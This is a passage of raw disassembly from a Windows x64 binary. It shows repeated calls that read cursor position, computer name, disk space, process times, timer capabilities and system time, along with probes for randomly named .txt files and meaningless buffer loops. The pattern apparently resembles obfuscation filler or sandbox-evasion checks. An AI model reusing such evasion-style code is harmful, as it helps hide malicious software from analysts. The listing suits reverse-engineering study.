rep stosb byte [rdi], al
mov dword [rsp + 0x54], 0
jmp 0x140063b4a
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
movsxd rax, dword [rsp + 0x54]
cmp rax, 0x400
jae 0x140063b73
movsxd rax, dword [rsp + 0x54]
mov al, byte [rsp + rax + 0x2ea0]
inc al
movsxd rcx, dword [rsp + 0x54]
mov byte [rsp + rcx + 0x2ea0], al
jmp 0x140063b40
lea r9, [rsp + 0x878]
lea r8, [rsp + 0x880]
lea rdx, [rsp + 0x888]
lea rcx, [0x14011add0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x2a0], rax
cmp qword [rsp + 0x2a0], 0
je 0x140063c02
lea rax, [rsp + 0x890]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x898]
lea r8, [rsp + 0x8a0]
lea rdx, [rsp + 0x8a8]
mov rcx, qword [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x8b0]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0x8b8]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x184], 0x1ceb907b
lea rdx, str.zzvS
lea rcx, [rsp + 0xed8]
call fcn.1400038c4
lea rcx, [rsp + 0xed8]
call fcn.14000a750
mov r8d, dword [rsp + 0x184]
mov rdx, rax
lea rcx, [0x14011ae0c]
call fcn.140015614
lea rcx, [rsp + 0xed8]
call fcn.14000389c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.ezYr6pEAuS.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x370], rax
cmp qword [rsp + 0x370], 0xffffffffffffffff
je 0x140063cc3
mov rcx, qword [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x32a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x58], 0
jmp 0x140063ceb
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
movsxd rax, dword [rsp + 0x58]
cmp rax, 0x400
jae 0x140063d14
movsxd rax, dword [rsp + 0x58]
mov al, byte [rsp + rax + 0x32a0]
inc al
movsxd rcx, dword [rsp + 0x58]
mov byte [rsp + rcx + 0x32a0], al
jmp 0x140063ce1
mov dword [rsp + 0x52c], 0x10
lea rdx, [rsp + 0x52c]
lea rcx, [rsp + 0x1858]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x190], 0x1fffb151
lea rdx, str.S2Xqc9g
lea rcx, [rsp + 0xef8]
call fcn.1400038c4
nop
lea rdx, [rsp + 0xef8]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x190]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0xef8]
call fcn.14000389c
lea rcx, [rsp + 0x8c0]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.CpuH8.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x378], rax
cmp qword [rsp + 0x378], 0xffffffffffffffff
je 0x140063df8
mov rcx, qword [rsp + 0x378]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x194], 0x2a6a2a30
lea rdx, [0x14011ae48]
lea rcx, [rsp + 0xf18]
call fcn.1400038c4
nop
lea rdx, [rsp + 0xf18]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x194]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0xf18]
call fcn.14000389c
mov dword [rsp + 0x198], 0x3291f3bb
lea rdx, [0x14011ae4c]
lea rcx, [rsp + 0xf38]
call fcn.1400038c4
lea rcx, [rsp + 0xf38]
call fcn.14000a750
mov r8d, dword [rsp + 0x198]
mov rdx, rax
lea rcx, [0x14011ae38]
call fcn.140015614
lea rcx, [rsp + 0xf38]
call fcn.14000389c
mov dword [rsp + 0x19c], 0x1ffa267e
lea rdx, str.SRaeX
lea rcx, [rsp + 0xf58]
call fcn.1400038c4
lea rcx, [rsp + 0xf58]
call fcn.14000a750
mov r8d, dword [rsp + 0x19c]
mov rdx, rax
lea rcx, [0x14011ae60]
call fcn.140015614
lea rcx, [rsp + 0xf58]
call fcn.14000389c
lea rcx, [rsp + 0x8c8]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x1a0], 0x3b0e352e
lea rdx, str.uvC1YOe
lea rcx, [rsp + 0xf98]
call fcn.1400038c4
nop
lea rdx, [rsp + 0xf98]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x1a0]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0xf98]
call fcn.14000389c
lea r9, [rsp + 0x8d0]
lea r8, [rsp + 0x8d8]
lea rdx, [rsp + 0x8e0]
lea rcx, [0x14011ae50]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x1a4], 0x2fae1d88
lea rdx, str.mSbLN
lea rcx, [rsp + 0xfb8]
call fcn.1400038c4
nop
lea rdx, [rsp + 0xfb8]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x1a4]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0xfb8]
call fcn.14000389c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x280], rax
cmp qword [rsp + 0x280], 0
je 0x140064055
lea rax, [rsp + 0x8e8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x8f0]
lea r8, [rsp + 0x8f8]
lea rdx, [rsp + 0x900]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x1a8], 0x1105d4b0
lea rdx, str.TK44AqFTb
lea rcx, [rsp + 0xfd8]
call fcn.1400038c4
nop
lea rdx, [rsp + 0xfd8]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x1a8]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0xfd8]
call fcn.14000389c
mov dword [rsp + 0x53c], 0x10
lea rdx, [rsp + 0x53c]
lea rcx, [rsp + 0x1878]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0xa8], 1
mov edx, 8
lea rcx, [rsp + 0x580]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x14006412e
mov eax, dword [rsp + 0x580]
mov dword [rsp + 0x458], eax
mov eax, dword [rsp + 0x584]
mov dword [rsp + 0x46c], eax
mov ecx, dword [rsp + 0xa8]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xa8]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rsp + 0x1638]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rsp + 0x1b8], 0x200dbdfb
lea rdx, [0x14011ae8c]
lea rcx, [rsp + 0xff8]
call fcn.1400038c4
nop
lea rdx, [rsp + 0xff8]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x1b8]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0xff8]
call fcn.14000389c
lea rcx, [rsp + 0x1648]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rsp + 0x1bc], 0x39bdd574
lea rdx, str.n7DLi
lea rcx, [rsp + 0x1018]
call fcn.1400038c4
lea rcx, [rsp + 0x1018]
call fcn.14000a750
mov r8d, dword [rsp + 0x1bc]
mov rdx, rax
lea rcx, [0x14011ae78]
call fcn.140015614
lea rcx, [rsp + 0x1018]
call fcn.14000389c
mov dword [rsp + 0xac], 1
mov edx, 8
lea rcx, [rsp + 0x588]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140064252
mov eax, dword [rsp + 0x588]
mov dword [rsp + 0x474], eax
mov eax, dword [rsp + 0x58c]
mov dword [rsp + 0x478], eax
mov ecx, dword [rsp + 0xac]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xac]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x1c0], 0x24beaadd
lea rdx, [0x14011aea0]
lea rcx, [rsp + 0x1038]
call fcn.1400038c4
lea rcx, [rsp + 0x1038]
call fcn.14000a750
mov r8d, dword [rsp + 0x1c0]
mov rdx, rax
lea rcx, [0x14011aea4]
call fcn.140015614
lea rcx, [rsp + 0x1038]
call fcn.14000389c
lea r9, [rsp + 0x908]
lea r8, [rsp + 0x910]
lea rdx, [rsp + 0x918]
lea rcx, [0x14011ae90]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x268], rax
cmp qword [rsp + 0x268], 0
je 0x140064331
lea rax, [rsp + 0x920]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x928]
lea r8, [rsp + 0x930]
lea rdx, [rsp + 0x938]
mov rcx, qword [rsp + 0x268]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rsp + 0x940]
lea r8, [rsp + 0x948]
lea rdx, [rsp + 0x950]
lea rcx, [0x14011ae98]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x1c4], 0x152369df
lea rdx, str.II5SY
lea rcx, [rsp + 0x1058]
call fcn.1400038c4
lea rcx, [rsp + 0x1058]
call fcn.14000a750
mov r8d, dword [rsp + 0x1c4]
mov rdx, rax
lea rcx, [0x14011aecc]
call fcn.140015614
lea rcx, [rsp + 0x1058]
call fcn.14000389c
mov dword [rsp + 0xb0], 1
mov edx, 8
lea rcx, [rsp + 0x598]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400643fe
mov eax, dword [rsp + 0x598]
mov dword [rsp + 0x47c], eax
mov eax, dword [rsp + 0x59c]
mov dword [rsp + 0x484], eax
mov ecx, dword [rsp + 0xb0]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xb0]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rsp + 0x1658]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea r9, [rsp + 0x958]
lea r8, [rsp + 0x960]
lea rdx, [rsp + 0x968]
lea rcx, [0x14011aeb0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x1c8], 0x1d2060e2
lea rdx, str.yozF3HVG7
lea rcx, [rsp + 0x1078]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1078]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x1c8]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1078]
call fcn.14000389c
mov dword [rsp + 0xb4], 1
mov edx, 8
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400644e9
mov eax, dword [rsp + 0x5a0]
mov dword [rsp + 0x488], eax
mov eax, dword [rsp + 0x5a4]
mov dword [rsp + 0x4ac], eax
mov ecx, dword [rsp + 0xb4]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xb4]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rsp + 0x970]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x1cc], 0x2d7dc14a
lea rdx, [0x14011af08]
lea rcx, [rsp + 0x1098]
call fcn.1400038c4
lea rcx, [rsp + 0x1098]
call fcn.14000a750
mov r8d, dword [rsp + 0x1cc]
mov rdx, rax
lea rcx, [0x14011af0c]
call fcn.140015614
lea rcx, [rsp + 0x1098]
call fcn.14000389c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.mFAl.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x380], rax
cmp qword [rsp + 0x380], 0xffffffffffffffff
je 0x14006459c
mov rcx, qword [rsp + 0x380]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 0
je 0x140064606
lea rax, [rsp + 0x978]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x980]
lea r8, [rsp + 0x988]
lea rdx, [rsp + 0x990]
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x1668]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.m6maJZ.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x310], rax
cmp qword [rsp + 0x310], 0xffffffffffffffff
je 0x140064669
mov rcx, qword [rsp + 0x310]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0xb8], 1
mov edx, 8
lea rcx, [rsp + 0x5e8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400646c1
mov eax, dword [rsp + 0x5e8]
mov dword [rsp + 0x48c], eax
mov eax, dword [rsp + 0x5ec]
mov dword [rsp + 0x490], eax
mov ecx, dword [rsp + 0xb8]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xb8]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x1d0], 0x2ba0d4bd
lea rdx, str.0JZOMkj6NQ
lea rcx, [rsp + 0x10b8]
call fcn.1400038c4
lea rcx, [rsp + 0x10b8]
call fcn.14000a750
mov r8d, dword [rsp + 0x1d0]
mov rdx, rax
lea rcx, [0x14011af44]
call fcn.140015614
lea rcx, [rsp + 0x10b8]
call fcn.14000389c
mov dword [rsp + 0x1d4], 0x636546e
lea rdx, [0x14011af14]
lea rcx, [rsp + 0x10d8]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x10d8]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x1d4]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x10d8]
call fcn.14000389c
lea rax, [rsp + 0x36a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x5c], 0
jmp 0x140064799
mov eax, dword [rsp + 0x5c]
inc eax
mov dword [rsp + 0x5c], eax
movsxd rax, dword [rsp + 0x5c]
cmp rax, 0x400
jae 0x1400647c2
movsxd rax, dword [rsp + 0x5c]
mov al, byte [rsp + rax + 0x36a0]
inc al
movsxd rcx, dword [rsp + 0x5c]
mov byte [rsp + rcx + 0x36a0], al
jmp 0x14006478f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x14011af18]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x388], rax
cmp qword [rsp + 0x388], 0xffffffffffffffff
je 0x140064817
mov rcx, qword [rsp + 0x388]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x3aa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x60], 0
jmp 0x14006483f
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x60]
cmp rax, 0x400
jae 0x140064868
movsxd rax, dword [rsp + 0x60]
mov al, byte [rsp + rax + 0x3aa0]
inc al
movsxd rcx, dword [rsp + 0x60]
mov byte [rsp + rcx + 0x3aa0], al
jmp 0x140064835
lea rcx, [rsp + 0x1678]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rax, [rsp + 0x3ea0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x64], 0
jmp 0x14006489e
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x64], eax
movsxd rax, dword [rsp + 0x64]
cmp rax, 0x400
jae 0x1400648c7
movsxd rax, dword [rsp + 0x64]
mov al, byte [rsp + rax + 0x3ea0]
inc al
movsxd rcx, dword [rsp + 0x64]
mov byte [rsp + rcx + 0x3ea0], al
jmp 0x140064894
lea r9, [rsp + 0x998]
lea r8, [rsp + 0x9a0]
lea rdx, [rsp + 0x9a8]
lea rcx, [0x14011af78]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x248], rax
cmp qword [rsp + 0x248], 0
je 0x140064956
lea rax, [rsp + 0x9b0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x9b8]
lea r8, [rsp + 0x9c0]
lea rdx, [rsp + 0x9c8]
mov rcx, qword [rsp + 0x248]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x248]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x1688]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rsp + 0x9d0]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0x1698]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x240], rax
cmp qword [rsp + 0x240], 0
je 0x1400649ea
lea rax, [rsp + 0x9d8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x9e0]
lea r8, [rsp + 0x9e8]
lea rdx, [rsp + 0x9f0]
mov rcx, qword [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x42a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x68], 0
jmp 0x140064a12
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
movsxd rax, dword [rsp + 0x68]
cmp rax, 0x400
jae 0x140064a3b
movsxd rax, dword [rsp + 0x68]
mov al, byte [rsp + rax + 0x42a0]
inc al
movsxd rcx, dword [rsp + 0x68]
mov byte [rsp + rcx + 0x42a0], al
jmp 0x140064a08
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.q9cnOC.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x390], rax
cmp qword [rsp + 0x390], 0xffffffffffffffff
je 0x140064a90
mov rcx, qword [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x9f8]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.FhNRXE3.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x398], rax
cmp qword [rsp + 0x398], 0xffffffffffffffff
je 0x140064af3
mov rcx, qword [rsp + 0x398]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x46a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x6c], 0
jmp 0x140064b1b
mov eax, dword [rsp + 0x6c]
inc eax
mov dword [rsp + 0x6c], eax
movsxd rax, dword [rsp + 0x6c]
cmp rax, 0x400
jae 0x140064b44
movsxd rax, dword [rsp + 0x6c]
mov al, byte [rsp + rax + 0x46a0]
inc al
movsxd rcx, dword [rsp + 0x6c]
mov byte [rsp + rcx + 0x46a0], al
jmp 0x140064b11
mov dword [rsp + 0x1d8], 0x5788a0b
lea rdx, str.eHyJlxK64
lea rcx, [rsp + 0x10f8]
call fcn.1400038c4
lea rcx, [rsp + 0x10f8]
call fcn.14000a750
mov r8d, dword [rsp + 0x1d8]
mov rdx, rax
lea rcx, [0x14011afa4]
call fcn.140015614
lea rcx, [rsp + 0x10f8]
call fcn.14000389c
mov dword [rsp + 0x1dc], 0x1c2c0a79
lea rdx, str.jbjS
lea rcx, [rsp + 0x1118]
call fcn.1400038c4
lea rcx, [rsp + 0x1118]
call fcn.14000a750
mov r8d, dword [rsp + 0x1dc]
mov rdx, rax
lea rcx, [0x14011af98]
call fcn.140015614
lea rcx, [rsp + 0x1118]
call fcn.14000389c
mov dword [rsp + 0xbc], 1
mov edx, 8
lea rcx, [rsp + 0x568]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140064c3c
mov eax, dword [rsp + 0x568]
mov dword [rsp + 0x494], eax
mov eax, dword [rsp + 0x56c]
mov dword [rsp + 0x49c], eax
mov ecx, dword [rsp + 0xbc]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xbc]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x528], 0x10
lea rdx, [rsp + 0x528]
lea rcx, [rsp + 0x1898]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0xc0], 1
mov edx, 8
lea rcx, [rsp + 0x540]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140064cb5
mov eax, dword [rsp + 0x540]
mov dword [rsp + 0x4a0], eax
mov eax, dword [rsp + 0x544]
mov dword [rsp + 0x4a4], eax
mov ecx, dword [rsp + 0xc0]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xc0]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x524], 0x10
lea rdx, [rsp + 0x524]
lea rcx, [rsp + 0x18b8]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x520], 0x10
lea rdx, [rsp + 0x520]
lea rcx, [rsp + 0x18d8]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x1f8], 0x27d87427
lea rdx, [0x14011afa0]
lea rcx, [rsp + 0x1138]
call fcn.1400038c4
lea rcx, [rsp + 0x1138]
call fcn.14000a750
mov r8d, dword [rsp + 0x1f8]
mov rdx, rax
lea rcx, [0x14011afc0]
call fcn.140015614
lea rcx, [rsp + 0x1138]
call fcn.14000389c
mov dword [rsp + 0xc4], 1
mov edx, 8
lea rcx, [rsp + 0x5b8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140064d9f
mov eax, dword [rsp + 0x5b8]
mov dword [rsp + 0x4a8], eax
mov eax, dword [rsp + 0x5bc]
mov dword [rsp + 0x4b0], eax
mov ecx, dword [rsp + 0xc4]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xc4]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0xc8], 1
mov edx, 8
lea rcx, [rsp + 0x550]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140064df7
mov eax, dword [rsp + 0x550]
mov dword [rsp + 0x4b4], eax
mov eax, dword [rsp + 0x554]
mov dword [rsp + 0x4b8], eax
mov ecx, dword [rsp + 0xc8]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xc8]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.LuP4u3Mj.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3a0], rax
cmp qword [rsp + 0x3a0], 0xffffffffffffffff
je 0x140064e4c
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x1fc], 0x1d415bac
lea rdx, str.7Atnt
lea rcx, [rsp + 0x1198]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1198]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x1fc]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1198]
call fcn.14000389c
mov dword [rsp + 0x200], 0x38f38f7c
lea rdx, [0x14011afbc]
lea rcx, [rsp + 0xf78]
call fcn.1400038c4
lea rcx, [rsp + 0xf78]
call fcn.14000a750
mov r8d, dword [rsp + 0x200]
mov rdx, rax
lea rcx, [0x14011affc]
call fcn.140015614
lea rcx, [rsp + 0xf78]
call fcn.14000389c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.Lwv.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3a8], rax
cmp qword [rsp + 0x3a8], 0xffffffffffffffff
je 0x140064f51
mov rcx, qword [rsp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rsp + 0xa00]
lea r8, [rsp + 0xa08]
lea rdx, [rsp + 0xa10]
lea rcx, [0x14011afe8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rsp + 0x16a8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rsp + 0x204], 0x169bf023
lea rdx, str.pCy1K963r
lea rcx, [rsp + 0x1218]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1218]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x204]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1218]
call fcn.14000389c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x230], rax
cmp qword [rsp + 0x230], 0
je 0x14006504e
lea rax, [rsp + 0xa18]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa20]
lea r8, [rsp + 0xa28]
lea rdx, [rsp + 0xa30]
mov rcx, qword [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rsp + 0xa38]
lea r8, [rsp + 0xa40]
lea rdx, [rsp + 0xa48]
lea rcx, [0x14011b028]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rsp + 0xa50]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x208], 0x2c5d3d39
lea rdx, str.B34nVA
lea rcx, [rsp + 0x1238]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1238]
lea rcx, [0x1401362a0]
call fcn.14004e420
